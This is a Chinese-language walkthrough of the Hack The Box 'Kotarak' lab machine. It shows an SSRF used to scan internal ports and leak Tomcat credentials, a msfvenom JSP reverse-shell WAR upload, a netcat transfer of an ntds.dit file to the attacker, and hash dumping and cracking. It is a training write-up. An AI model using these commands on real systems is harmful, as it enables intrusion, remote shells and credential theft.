kotarak(ssrf+上传)

Kotarak(tomcat web server)

端口扫描

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

首先访问http://10.10.10.55:8080,显示HTTP Status 404 - /,状态码404 not found。于是枚举目录。

dirb http://10.10.10.55:8080

1
2
3
4
5
6
7
8
9
+ http://10.10.10.55:8080/docs (CODE:**302**|SIZE:0)

+ http://10.10.10.55:8080/examples (CODE:302|SIZE:0)

+ http://10.10.10.55:8080/favicon.ico (CODE:200|SIZE:21630)

+ http://10.10.10.55:8080/host-manager (CODE:302|SIZE:0)

+ http://10.10.10.55:8080/manager (CODE:302|SIZE:0)

发现基本上都是302重定向。

于是访问下 http://10.10.10.55:8080/manager (A地址)

发现302重定向到http://10.10.10.55:8080/manager/ (B地址)

并且,B地址的状态码是404。但是404页面有个提示,tomcat 7重构并且有些urls已经改变。所有使用管理应用的urls现在应该使用如下选项:

/manager/html for the HTML GUI
/manager/text for the text interface
/manager/jmxproxy for the JMX proxy
/manager/status for the status pages

既然提示这么贴心了,那我们就按照所说的访问一下。

然后发现,所给的urls都需要登陆才能访问。

再搜索下 Apache Tomcat 8.5.5。参考

tomcat是java web服务器

尝试访问:http://10.10.10.55:8080/index.jsp ,200ok。

SSRF-服务端请求伪造

没有经验的小白先跟whale学习下。
该漏洞经常出现在服务端,一些web应用程序经常从其他server获取信息。

客户端 (去B服务器取回图片 !)——》A服务端(执行)————》B服务器(返回图片)————》A服务器(执行完毕)————》客户端(收到图片)

攻击方式:

客户端(去扫描B服务器 !)——》A服务端(执行)————》B服务器(返回数据包)————》A服务器(执行完毕)————》客户端(收到扫描结果)

服务器没有过滤客户端的请求。本来设计的功能想法是好的,但是攻击者不打算以设计者的想法来使用这个功能。

代码不多说,本文只讲讲实践部分,至于更深层次的漏洞原理和代码片段还需要各位自行学习。

再次扫描,全端口扫描

nmap -p- -sV 目标的ip

作者扫描出了一个开放在60000的端口,类型是未知。但是我扫描的结果是,需要8个多小时。。想了半天才想起来,目标机器是在美国,对于网速实在不能苛求。。(感觉好坑,天朝就没有这种试验靶场吗)

扫描出了以后,用浏览器访问。

1
使用这个私人的web浏览器匿名在网络冲浪,请不要滥用它。
  • Trying

    1
    2
    3
    python -m SimpleHTTPServer
    ifconfig
    在本地开启服务器,查看本地ip

    尝试用浏览器上的该功能访问下本地,是否成功。
    输入http://本地ip:8000
    浏览器跳转到一个地址http://10.10.10.55:60000/url.php?path=http://本地ip:8000
    成功访问客户端本地地址。

  • Trying

然后尝试ssrf,提交file:///etc/passwd
返回try harder
尝试File FIlE ,同样的返回结果。说明目标机可能用正则表达式限制了file这个字符。

  • Trying
    尝试http://localhost:60000 返60000端口上的正常页面。
    因为端口扫描那一步客户端访问都是302重定向,需要登陆才能访问,于是我们通过60000端口上的“搜索”功能,绕过对客户端的限制。让服务器替我们获取想要的信息。

wfuzz

  • 这是一个web扫描软件
    可以用wfuzz -h 查看使用方式
    我们使用下列参数,扫描服务器开放的端口
    wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ


图片中,2 Ch是响应的字符串,访问后发现没有任何有价值的东西,于是我们忽略它。
wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
扫描后,我们得到了非2 Ch的响应结果。
看到了很多端口信息,因为客户端nmap扫描是远程访问,有 防火墙等等,所以在这里会得到更加详细的(在远程扫描不到的)端口信息。

  • trying
    一个一个访问这些开放了的端口,http://10.10.10.55:60000/url.php?path=http://localhost:端口
    在888端口,找到了一个备份页面backup。

  • Trying

访问备份页面的地址http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup
url编码一下http%3A%2f%2f10.10.10.55%3A60000%2furl.php%3Fpath%3Dhttp%3A%2f%2flocalhost%3A888%2f%3Fdoc%3Dbackup
得到了可能是tomcat配置文件中的用户名密码。

(有一个小技巧,在端口扫描那一步,得到了不能访问的文件名,可以用ssrf去访问,来获取敏感文件。)


我们用这个口令登陆端口扫描那一步获得的地址manager/html

获取shell

刚刚通过ssrf获取敏感文件,从而突破防线,接下来,我们要获取一个shell。


用msfvenom生成一个payload,接下来要将它上传到目标机上运行。
因为主页面上有上传功能,提示:

1
2
3
deploy directory or WAR file located on server.
war file to deploy
select war file to upload.

暗示了我们可以上传一个war类型的反弹shell。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=kali的ip LPORT=80 -f war > ippsec.war

War——web归档文件,war文件用于封装web模块。web模块可以代表一个独立的web应用程序。

  • Trying
    成功上传——本地nc监听80端口nc -lnvp 80——浏览器访问payload地址,即可获得一个shell。

  • shell中运行
    python -c 'import pty;pty.spawn("/bin/bash")' 于是获得一个bash shell。

提权

cd backups
ls 发现tomcat-users.xml
cat *.xml 显示权限不够
cd home
find .
cd tomcat/to_archive/pentest_data/
ls
发现两个文件,.dit,.bin

file *
说明.dit是data类型,.bin是微软windows registry文件。

  • Trying: nc传文件。
    kali中运行:
    nc -lvnp 443 > ntds.dit
    shell中运行:
    nc 攻击机IP 443 < xx.dit
    .dit需要输入全称哈,这里省略了。

  • Trying: 提取.bin文件
    impacket-secretsdump -h
    impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
    得到了Target system bootKey,关于域渗透知识,还欠缺。
    得到了一系列用户名和密码的hash值。

  • Trying: tomcat的反弹shell中,运行
    arp -a 查看局域网机器
    获得10.10.10.2 10.0.3.133两个机器的IP

  • Trying: 对这两台机器进行扫描
    运行nmap, 显示try harder!
    用nc进行端口扫描,

    1
    2
    nc 10.0.3.133 445				连接拒绝
    nc -v 10.0.3.133 22 成功连接

    并且显示ssh版本为,openssh,操作系统为ubuntu。

  • Trying: 在线对hash进行解密
    先删除明显是windows机器的hash,浏览器搜索hashkiller,对剩下的hash解密。
    awk -F: '{print $4}' hashes

  • Trying: 尝试ssh登陆
    ssh atanas@10.10.10.55
    尝试了一个遍,失败

  • Trying: tomcat的反弹shell中,尝试切换用户
    su - atanas
    使用解密出来的一个密码,成功切换到该用户
    cd root
    cat app.log

  • Trying: 利用wget命令执行漏洞
    searchsploit wget
    searchsploit -m exploits/linux/remote/40064.txt